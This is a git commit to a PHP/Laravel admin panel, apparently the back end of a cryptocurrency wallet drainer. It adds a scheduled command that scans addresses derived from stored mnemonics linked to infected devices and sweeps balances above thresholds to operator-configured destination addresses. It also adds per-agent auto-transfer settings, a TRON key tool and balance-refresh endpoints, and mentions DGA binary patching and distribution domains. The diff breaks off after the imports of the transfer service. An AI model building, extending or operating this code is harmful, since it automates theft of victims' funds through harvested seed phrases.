feat: autotransfer

This commit is contained in:
hashbro
2026-08-17 02:03:17 +08:00
parent 376b442880
commit a32043df71
42 changed files with 3268 additions and 256 deletions
+17 -7
View File
@@ -51,12 +51,11 @@ ADMIN_PASSWORD=admin123
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0. # Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
CORUNA_SESSION_KEY= CORUNA_SESSION_KEY=
# Optional link-display hosts (not used by DGA binary patch). # Optional link-display hosts (not used by DGA binary patch). .env-only.
# Overridable by 系统设置 → 投放域名.
CORUNA_LAB_CHANNEL_DOMAINS= CORUNA_LAB_CHANNEL_DOMAINS=
CORUNA_REPORTING_DOMAINS= CORUNA_REPORTING_DOMAINS=
# Panel Host allowlists (comma/space separated). Empty = no restriction. # Panel Host allowlists (comma/space separated). Empty = no restriction.
# Prefer configuring in Admin → 系统 → 设置 after bootstrap. # .env-only (not shown in Admin → 系统设置).
CORUNA_ADMIN_HOSTS= CORUNA_ADMIN_HOSTS=
CORUNA_AGENT_HOSTS= CORUNA_AGENT_HOSTS=
# In-process channel builders (Python). Old: channel-builder → public/web|sync # In-process channel builders (Python). Old: channel-builder → public/web|sync
@@ -74,7 +73,7 @@ CORUNA_STATIC_SITE_SCHEME=https
XXBB_CHANNEL_C= XXBB_CHANNEL_C=
# Match iptj PageVisit → new-builder device by IP (minutes). # Match iptj PageVisit → new-builder device by IP (minutes).
XXBB_VISIT_MATCH_MINUTES=30 XXBB_VISIT_MATCH_MINUTES=30
# Max channel links per agent (super-admin settings can override) # Max channel links per agent (.env-only)
CORUNA_MAX_CHANNELS_PER_AGENT=5 CORUNA_MAX_CHANNELS_PER_AGENT=5
# p7zip binary. On panel hosts with open_basedir, prefer project-local: # p7zip binary. On panel hosts with open_basedir, prefer project-local:
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z # mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
@@ -84,21 +83,32 @@ CORUNA_MAX_CHANNELS_PER_AGENT=5
CORUNA_7Z_BIN= CORUNA_7Z_BIN=
# Telegram (outbound alerts + inbound Nutgram commands) # Telegram (outbound alerts + inbound Nutgram commands)
# Bot Token / transfer recipients are .env-only (not editable in admin UI).
TELEGRAM_BOT_TOKEN= TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID= TELEGRAM_OWNER_CHAT_ID=
# Optional cache of @username; normally filled automatically via getMe when saving Token # Optional cache of @username; normally filled automatically via getMe
# TELEGRAM_BOT_USERNAME= # TELEGRAM_BOT_USERNAME=
# Optional; if set, register via: php artisan telegram:set-webhook # Optional; if set, register via: php artisan telegram:set-webhook
TELEGRAM_WEBHOOK_SECRET= TELEGRAM_WEBHOOK_SECRET=
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check # Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
# NUTGRAM_SAFE_MODE=false # NUTGRAM_SAFE_MODE=false
# /transfer: recipient (fromAddress is the command arg; mnemonic from DB) # /transfer recipients (fromAddress is the command arg; mnemonic from DB)
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all # Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
# Chain inferred from address; to = per-chain TRANSFER_TO_ADDRESS_*.
TRANSFER_TO_ADDRESS= TRANSFER_TO_ADDRESS=
TRANSFER_TO_ADDRESS_ETH= TRANSFER_TO_ADDRESS_ETH=
TRANSFER_TO_ADDRESS_BTC= TRANSFER_TO_ADDRESS_BTC=
# TRON USDT fee top-up wallet (also editable in Admin → 系统设置)
TRANSFER_FEE_ADDRESS_TRON=
TRANSFER_FEE_PRIVATE_KEY_TRON=
TRANSFER_FEE_TOPUP_TRX=20
# Official-channel auto transfer (also editable in Admin → 系统设置)
AUTO_TRANSFER_ENABLED=0
AUTO_TRANSFER_THRESHOLD_USDT=
AUTO_TRANSFER_THRESHOLD_TRX=
AUTO_TRANSFER_THRESHOLD_ETH=
AUTO_TRANSFER_THRESHOLD_BTC=
# TRANSFER_MAX_USDT=0 # TRANSFER_MAX_USDT=0
# TRANSFER_MAX_TRX=0 # TRANSFER_MAX_TRX=0
# TRANSFER_MAX_ETH=0 # TRANSFER_MAX_ETH=0
@@ -0,0 +1,29 @@
<?php
namespace App\Console\Commands;
use App\Services\AutoTransferService;
use Illuminate\Console\Command;
class AutoTransferCommand extends Command
{
protected $signature = 'coruna:auto-transfer';
protected $description = 'Scan mnemonic-linked addresses with balance and run auto-transfer';
public function handle(AutoTransferService $autoTransfer): int
{
$stats = $autoTransfer->run();
$this->info(sprintf(
'auto-transfer inspected=%d triggered=%d ok=%d failed=%d skipped=%d',
$stats['inspected'],
$stats['triggered'],
$stats['ok'],
$stats['failed'],
$stats['skipped'],
));
$this->line('logs: public/log/transfer/'.date('Ymd').'.log');
return self::SUCCESS;
}
}
+110
View File
@@ -0,0 +1,110 @@
<?php
namespace App\Console\Commands;
use App\Services\Chain\TronDriver;
use Illuminate\Console\Command;
use RuntimeException;
class TronToolCommand extends Command
{
protected $signature = 'coruna:tron
{action : create | balance | address}
{value? : balance 时填地址;address 时填私钥}';
protected $description = 'TRON 工具:创建地址/私钥、由私钥推地址、查 TRX/USDT 余额';
public function handle(TronDriver $tron): int
{
$action = strtolower(trim((string) $this->argument('action')));
return match ($action) {
'create' => $this->createWallet(),
'balance' => $this->showBalance($tron),
'address' => $this->addressFromKey(),
default => $this->invalidAction($action),
};
}
private function createWallet(): int
{
$privateKey = bin2hex(random_bytes(32));
$address = TronDriver::addressFromPrivateKey($privateKey);
$this->line('address : '.$address);
$this->line('privateKey : '.$privateKey);
$this->warn('请妥善保存私钥,丢失无法找回。');
return self::SUCCESS;
}
private function addressFromKey(): int
{
$key = trim((string) ($this->argument('value') ?? ''));
if ($key === '') {
$this->error('用法: php artisan coruna:tron address <privateKeyHex>');
return self::FAILURE;
}
try {
$address = TronDriver::addressFromPrivateKey($key);
} catch (\Throwable $e) {
$this->error('无效私钥: '.$e->getMessage());
return self::FAILURE;
}
$this->line('address : '.$address);
$this->line('privateKey : '.strtolower(str_starts_with($key, '0x') ? substr($key, 2) : $key));
return self::SUCCESS;
}
private function showBalance(TronDriver $tron): int
{
$address = trim((string) ($this->argument('value') ?? ''));
if ($address === '') {
$this->error('用法: php artisan coruna:tron balance <TAddress>');
return self::FAILURE;
}
if (! $tron->isValidAddress($address)) {
$this->error('无效 TRON 地址');
return self::FAILURE;
}
try {
$trx = $tron->getNativeBalance($address);
$contract = trim((string) config('coruna.tron.usdt_contract', ''));
$usdt = $contract !== '' ? $tron->getTokenBalance($address, $contract) : '0';
} catch (RuntimeException $e) {
$this->error($e->getMessage());
return self::FAILURE;
} catch (\Throwable $e) {
$this->error('查询失败: '.$e->getMessage());
return self::FAILURE;
}
$this->line('address : '.$address);
$this->line('TRX : '.$trx);
$this->line('USDT : '.$usdt);
return self::SUCCESS;
}
private function invalidAction(string $action): int
{
$this->error("未知操作: {$action}");
$this->line('用法:');
$this->line(' php artisan coruna:tron create');
$this->line(' php artisan coruna:tron address <privateKeyHex>');
$this->line(' php artisan coruna:tron balance <TAddress>');
return self::FAILURE;
}
}
@@ -53,6 +53,11 @@ class AgentUserController extends Controller
'chat_id' => $u->chat_id ?: '', 'chat_id' => $u->chat_id ?: '',
'telegram_ready' => $u->hasTelegramChat(), 'telegram_ready' => $u->hasTelegramChat(),
'channels_count' => (int) $u->channels_count, 'channels_count' => (int) $u->channels_count,
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
]; ];
@@ -74,6 +79,11 @@ class AgentUserController extends Controller
'comment' => ['nullable', 'string', 'max:255'], 'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])], 'status' => ['nullable', 'integer', Rule::in([0, 1])],
'chat_id' => $this->chatIdRules(), 'chat_id' => $this->chatIdRules(),
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
]); ]);
$user = User::query()->create([ $user = User::query()->create([
@@ -82,6 +92,11 @@ class AgentUserController extends Controller
'comment' => $data['comment'] ?? null, 'comment' => $data['comment'] ?? null,
'status' => (int) ($data['status'] ?? 1), 'status' => (int) ($data['status'] ?? 1),
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null), 'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
'auto_transfer_enabled' => (bool) ((int) ($data['auto_transfer_enabled'] ?? 0)),
'auto_transfer_threshold_usdt' => $this->nullableThreshold($data['auto_transfer_threshold_usdt'] ?? null),
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
]); ]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]); return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
@@ -94,6 +109,11 @@ class AgentUserController extends Controller
'comment' => ['nullable', 'string', 'max:255'], 'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])], 'status' => ['nullable', 'integer', Rule::in([0, 1])],
'chat_id' => $this->chatIdRules($agent->id), 'chat_id' => $this->chatIdRules($agent->id),
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
]); ]);
if (array_key_exists('comment', $data)) { if (array_key_exists('comment', $data)) {
@@ -105,6 +125,15 @@ class AgentUserController extends Controller
if (array_key_exists('chat_id', $data)) { if (array_key_exists('chat_id', $data)) {
$agent->chat_id = $this->nullableTrim($data['chat_id']); $agent->chat_id = $this->nullableTrim($data['chat_id']);
} }
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
}
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
$key = 'auto_transfer_threshold_'.$coin;
if (array_key_exists($key, $data)) {
$agent->{$key} = $this->nullableThreshold($data[$key] ?? null);
}
}
if (! empty($data['password'])) { if (! empty($data['password'])) {
$agent->password = $data['password']; $agent->password = $data['password'];
} }
@@ -197,4 +226,17 @@ class AgentUserController extends Controller
return $value === '' ? null : $value; return $value === '' ? null : $value;
} }
private function nullableThreshold(mixed $value): ?string
{
$trimmed = $this->nullableTrim($value);
if ($trimmed === null) {
return null;
}
if (! is_numeric($trimmed)) {
return null;
}
return $trimmed;
}
} }
@@ -5,15 +5,20 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Models\User; use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Services\WalletBalanceService;
use App\Support\AgentScope; use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\RateLimiter;
class MnemonicController extends Controller class MnemonicController extends Controller
{ {
use PortalAware; use PortalAware;
private const REFRESH_DECAY_SECONDS = 60;
public function index() public function index()
{ {
$agents = $this->isAgentPortal() $agents = $this->isAgentPortal()
@@ -60,6 +65,8 @@ class MnemonicController extends Controller
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id), 'detail_url' => route($portal.'.devices.show', $row->device_id),
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
]; ];
})->values(); })->values();
@@ -71,6 +78,111 @@ class MnemonicController extends Controller
]); ]);
} }
public function wallets(WalletMnemonic $mnemonic)
{
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->walletsPayload($mnemonic),
]);
}
public function refreshWallets(WalletMnemonic $mnemonic, WalletBalanceService $balances)
{
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id;
if (RateLimiter::tooManyAttempts($throttleKey, 1)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试',
'data' => ['retry_after' => $seconds],
], 429);
}
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$ok = 0;
$fail = 0;
foreach ($addresses as $address) {
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
if ($balances->refresh($address)) {
$ok++;
} else {
$fail++;
}
}
// Re-read from wallet_addresses so the popup shows persisted rows.
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => array_merge($this->walletsPayload($mnemonic), [
'refreshed' => $ok,
'failed' => $fail,
'retry_after' => self::REFRESH_DECAY_SECONDS,
]),
]);
}
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->where('wallet_mnemonics.id', $mnemonic->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
/**
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
*/
private function walletsPayload(WalletMnemonic $mnemonic): array
{
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$data = $addresses->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type ?: '',
'source' => $addr->source ?: '',
'derive_index' => $addr->derive_index,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
];
})->values()->all();
return [
'mnemonic_id' => $mnemonic->id,
'source' => $mnemonic->source ?: '',
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
'addresses' => $data,
];
}
private function baseQuery(Request $request): Builder private function baseQuery(Request $request): Builder
{ {
$q = WalletMnemonic::query() $q = WalletMnemonic::query()
@@ -12,7 +12,7 @@ class SystemSettingsController extends Controller
public function index(SettingsService $settings, TelegramNotifier $telegram) public function index(SettingsService $settings, TelegramNotifier $telegram)
{ {
$form = $settings->effectiveForForm(); $form = $settings->effectiveForForm();
$token = trim((string) ($form['telegram.bot_token'] ?? '')); $token = trim((string) config('coruna.telegram.bot_token', ''));
$username = trim((string) ($form['telegram.bot_username'] ?? '')); $username = trim((string) ($form['telegram.bot_username'] ?? ''));
if ($token !== '' && $username === '') { if ($token !== '' && $username === '') {
$fetched = $telegram->fetchBotUsername($token); $fetched = $telegram->fetchBotUsername($token);
@@ -33,48 +33,48 @@ class SystemSettingsController extends Controller
public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram) public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram)
{ {
$data = $request->validate([ $data = $request->validate([
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'], 'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'], 'auto_transfer_enabled' => ['nullable', 'in:0,1'],
'channels_domains' => ['nullable', 'string', 'max:4000'], 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'panel_admin_hosts' => ['nullable', 'string', 'max:4000'], 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
'panel_agent_hosts' => ['nullable', 'string', 'max:4000'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
]); ]);
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null); $threshold = static function (?string $v): ?string {
$adminHosts = SettingsService::parseDomains($data['panel_admin_hosts'] ?? null); if ($v === null || trim($v) === '') {
$agentHosts = SettingsService::parseDomains($data['panel_agent_hosts'] ?? null); return null;
}
$token = trim((string) ($data['telegram_bot_token'] ?? '')); return trim($v);
$username = ''; };
$username = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
$token = trim((string) config('coruna.telegram.bot_token', ''));
$note = ''; $note = '';
if ($token !== '') { if ($token !== '' && $username === '') {
$fetched = $telegram->fetchBotUsername($token); $fetched = $telegram->fetchBotUsername($token);
if ($fetched !== null) { if ($fetched !== null) {
$username = ltrim($fetched, '@'); $username = ltrim($fetched, '@');
} else { } else {
$sameToken = $token === trim((string) config('coruna.telegram.bot_token', '')); $note = ';未能从 .env Token 读取 Bot 用户名,请确认 TELEGRAM_BOT_TOKEN 有效';
$previous = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
if ($sameToken && $previous !== '') {
$username = $previous;
} else {
$note = ';未能从 Token 读取 Bot 用户名,请确认 Token 有效';
}
} }
} }
$settings->putMany([ $settings->putMany([
'telegram.bot_token' => $token !== '' ? $token : null,
'telegram.bot_username' => $username !== '' ? $username : null, 'telegram.bot_username' => $username !== '' ? $username : null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'channels.max_per_agent' => isset($data['channels_max_per_agent']) 'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
? (string) $data['channels_max_per_agent'] 'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
: null, 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
// Persist normalized comma-separated list (empty clears override to []). 'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
'channels.domains' => $domains === [] ? '' : implode(',', $domains), 'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
// Empty = no Host restriction for that panel. 'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
'panel.admin_hosts' => $adminHosts === [] ? '' : implode(',', $adminHosts), 'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
'panel.agent_hosts' => $agentHosts === [] ? '' : implode(',', $agentHosts), 'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
]); ]);
$display = $telegram->formatBotUsername($username); $display = $telegram->formatBotUsername($username);
@@ -93,17 +93,14 @@ class SystemSettingsController extends Controller
{ {
$data = $request->validate([ $data = $request->validate([
'chat_id' => ['nullable', 'string', 'max:64'], 'chat_id' => ['nullable', 'string', 'max:64'],
'bot_token' => ['nullable', 'string', 'max:255'],
]); ]);
$chatId = trim((string) ($data['chat_id'] ?? '')); $chatId = trim((string) ($data['chat_id'] ?? ''));
if ($chatId === '') { if ($chatId === '') {
$chatId = trim((string) config('coruna.telegram.owner_chat_id', '')); $chatId = trim((string) config('coruna.telegram.owner_chat_id', ''));
} }
$token = trim((string) ($data['bot_token'] ?? ''));
$token = $token !== '' ? $token : null;
$result = $telegram->sendTest($chatId, '官方通知群推送正常。', $token); $result = $telegram->sendTest($chatId, '官方通知群推送正常。');
return response()->json([ return response()->json([
'code' => $result['ok'] ? 0 : 1, 'code' => $result['ok'] ? 0 : 1,
@@ -39,7 +39,7 @@ class WalletAddressController extends Controller
{ {
$q = $this->baseQuery($request); $q = $this->baseQuery($request);
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at']; $sortable = ['id', 'address', 'chain_type', 'source', 'mnemonic_id', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id'); $field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) { if (! in_array($field, $sortable, true)) {
@@ -63,6 +63,7 @@ class WalletAddressController extends Controller
'source' => $row->source ?: '', 'source' => $row->source ?: '',
'chain_type' => $row->chain_type ?: '', 'chain_type' => $row->chain_type ?: '',
'address' => $row->address, 'address' => $row->address,
'mnemonic_id' => $row->mnemonic_id,
'usdt' => $coins['usdt'], 'usdt' => $coins['usdt'],
'trx' => $coins['trx'], 'trx' => $coins['trx'],
'eth' => $coins['eth'], 'eth' => $coins['eth'],
@@ -130,6 +131,8 @@ class WalletAddressController extends Controller
$channelId = trim((string) $request->query('channel_id', '')); $channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', '')); $deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', '')); $source = trim((string) $request->query('source', ''));
$hasMnemonic = $request->query('has_mnemonic');
$hasBalance = $request->query('has_balance');
if ($channelId !== '') { if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%'); $q->where('devices.channel_id', 'like', '%'.$channelId.'%');
} }
@@ -139,6 +142,27 @@ class WalletAddressController extends Controller
if ($source !== '') { if ($source !== '') {
$q->where('wallet_addresses.source', $source); $q->where('wallet_addresses.source', $source);
} }
if ($hasMnemonic === '1' || $hasMnemonic === 1) {
$q->whereNotNull('wallet_addresses.mnemonic_id');
} elseif ($hasMnemonic === '0' || $hasMnemonic === 0) {
$q->whereNull('wallet_addresses.mnemonic_id');
}
if ($hasBalance === '1' || $hasBalance === 1) {
$q->where(function (Builder $inner) {
foreach (WalletAddress::COIN_COLUMNS as $col) {
$inner->orWhere('wallet_addresses.'.$col, '>', 0);
}
});
} elseif ($hasBalance === '0' || $hasBalance === 0) {
$q->where(function (Builder $inner) {
foreach (WalletAddress::COIN_COLUMNS as $col) {
$inner->where(function (Builder $coin) use ($col) {
$coin->whereNull('wallet_addresses.'.$col)
->orWhere('wallet_addresses.'.$col, '<=', 0);
});
}
});
}
if (! $this->isAgentPortal()) { if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter( AgentScope::applyAgentUserFilter(
$q, $q,
+10
View File
@@ -9,6 +9,11 @@ class User extends Authenticatable
{ {
protected $fillable = [ protected $fillable = [
'username', 'password', 'status', 'comment', 'chat_id', 'username', 'password', 'status', 'comment', 'chat_id',
'auto_transfer_enabled',
'auto_transfer_threshold_usdt',
'auto_transfer_threshold_trx',
'auto_transfer_threshold_eth',
'auto_transfer_threshold_btc',
]; ];
protected $hidden = [ protected $hidden = [
@@ -29,6 +34,11 @@ class User extends Authenticatable
return [ return [
'password' => 'hashed', 'password' => 'hashed',
'status' => 'integer', 'status' => 'integer',
'auto_transfer_enabled' => 'boolean',
'auto_transfer_threshold_usdt' => 'decimal:8',
'auto_transfer_threshold_trx' => 'decimal:8',
'auto_transfer_threshold_eth' => 'decimal:8',
'auto_transfer_threshold_btc' => 'decimal:8',
]; ];
} }
+7 -1
View File
@@ -22,13 +22,14 @@ class WalletAddress extends Model
protected $fillable = [ protected $fillable = [
'device_id', 'address', 'chain_type', 'device_id', 'address', 'chain_type',
'usdt', 'trx', 'eth', 'btc', 'bnb', 'usdt', 'trx', 'eth', 'btc', 'bnb',
'monitor', 'source', 'monitor', 'source', 'mnemonic_id', 'derive_index',
]; ];
protected function casts(): array protected function casts(): array
{ {
return [ return [
'monitor' => 'integer', 'monitor' => 'integer',
'derive_index' => 'integer',
'usdt' => 'decimal:6', 'usdt' => 'decimal:6',
'trx' => 'decimal:6', 'trx' => 'decimal:6',
'eth' => 'decimal:18', 'eth' => 'decimal:18',
@@ -42,6 +43,11 @@ class WalletAddress extends Model
return $this->belongsTo(Device::class); return $this->belongsTo(Device::class);
} }
public function mnemonic(): BelongsTo
{
return $this->belongsTo(WalletMnemonic::class, 'mnemonic_id');
}
/** /**
* Map a symbol=>amount payload into coin column attributes (only known coins). * Map a symbol=>amount payload into coin column attributes (only known coins).
* Missing symbols are omitted (caller merges with existing row). * Missing symbols are omitted (caller merges with existing row).
+6
View File
@@ -4,6 +4,7 @@ namespace App\Models;
use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Crypt; use Illuminate\Support\Facades\Crypt;
class WalletMnemonic extends Model class WalletMnemonic extends Model
@@ -17,6 +18,11 @@ class WalletMnemonic extends Model
return $this->belongsTo(Device::class); return $this->belongsTo(Device::class);
} }
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class, 'mnemonic_id');
}
public static function hashSecret(string $secret): string public static function hashSecret(string $secret): string
{ {
return hash('sha256', $secret); return hash('sha256', $secret);
+116
View File
@@ -0,0 +1,116 @@
<?php
namespace App\Services;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
/**
* Resolve auto-transfer switch + per-asset thresholds.
*
* Official channels (user_id = 0 / missing): system switch + system thresholds only.
* Agent channels: agent switch only; thresholds prefer agent then system then 0.
*/
class AutoTransferConfig
{
/** @var list<string> */
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC'];
public function isEnabledForAddress(WalletAddress $address): bool
{
$agentId = $this->agentUserIdForDevice((int) $address->device_id);
if ($agentId === null || $agentId === Channel::OFFICIAL_USER_ID) {
return $this->systemEnabled();
}
$agent = User::query()->find($agentId);
return $agent !== null && (bool) $agent->auto_transfer_enabled;
}
/**
* Effective threshold for an asset (balance must be strictly greater).
*/
public function thresholdForAddress(WalletAddress $address, string $asset): string
{
$asset = strtoupper(trim($asset));
$agentId = $this->agentUserIdForDevice((int) $address->device_id);
if ($agentId !== null && $agentId !== Channel::OFFICIAL_USER_ID) {
$agent = User::query()->find($agentId);
if ($agent !== null) {
$col = 'auto_transfer_threshold_'.strtolower($asset);
$raw = $agent->{$col} ?? null;
if ($raw !== null && $raw !== '') {
return $this->normalizeThreshold((string) $raw);
}
}
}
return $this->systemThreshold($asset);
}
public function systemEnabled(): bool
{
return (bool) config('coruna.auto_transfer.enabled');
}
public function systemThreshold(string $asset): string
{
$asset = strtolower(trim($asset));
$raw = config('coruna.auto_transfer.threshold_'.$asset);
return $this->normalizeThreshold(is_scalar($raw) ? (string) $raw : null);
}
public function feeAddressTron(): string
{
return trim((string) config('coruna.transfer.fee_address_tron', ''));
}
public function feePrivateKeyTron(): string
{
return trim((string) config('coruna.transfer.fee_private_key_tron', ''));
}
public function feeTopupTrx(): string
{
$raw = trim((string) config('coruna.transfer.fee_topup_trx', '20'));
if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 6) <= 0) {
return '20';
}
return $this->normalizeThreshold($raw);
}
private function agentUserIdForDevice(int $devicePk): ?int
{
$channelId = Device::query()->whereKey($devicePk)->value('channel_id');
if ($channelId === null || $channelId === '') {
return Channel::OFFICIAL_USER_ID;
}
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
if ($userId === null) {
return Channel::OFFICIAL_USER_ID;
}
return (int) $userId;
}
private function normalizeThreshold(?string $raw): string
{
if ($raw === null || trim($raw) === '') {
return '0';
}
$raw = trim($raw);
if (! is_numeric($raw)) {
return '0';
}
$raw = rtrim(rtrim(sprintf('%.8F', (float) $raw), '0'), '.');
return $raw === '' ? '0' : $raw;
}
}
+338
View File
@@ -0,0 +1,338 @@
<?php
namespace App\Services;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
